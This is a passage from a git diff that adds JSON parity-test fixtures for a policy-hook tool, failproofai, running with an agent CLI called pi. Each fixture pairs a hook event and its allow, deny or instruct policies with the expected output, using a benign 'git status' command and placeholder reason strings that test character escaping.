"home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/TeammateIdle/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..39ed12b7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/TeammateIdle/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..26f1282b --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/TeammateIdle/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..585549f7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TeammateIdle/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/TeammateIdle/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..fd1aab8d --- /dev/null +++ b/__tests__/parity/fixtures/pi/TeammateIdle/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6121b5fb --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..2f328ab1 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..1be3617d --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..bec1ecda --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..46584552 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..691fea0f --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..d69ac8a4 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..c068909f --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..29ed0f4f --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..c28cf335 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/deny__tool-present__one-policy.json new file mode 100644 index 00000000..5b4e99ee --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/deny__tool-present__two-policies.json new file mode 100644 index 00000000..5c3a3682 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..46124759 --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/UserPromptExpansion/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/UserPromptExpansion/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..586bc40e --- /dev/null +++ b/__tests__/parity/fixtures/pi/UserPromptExpansion/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": 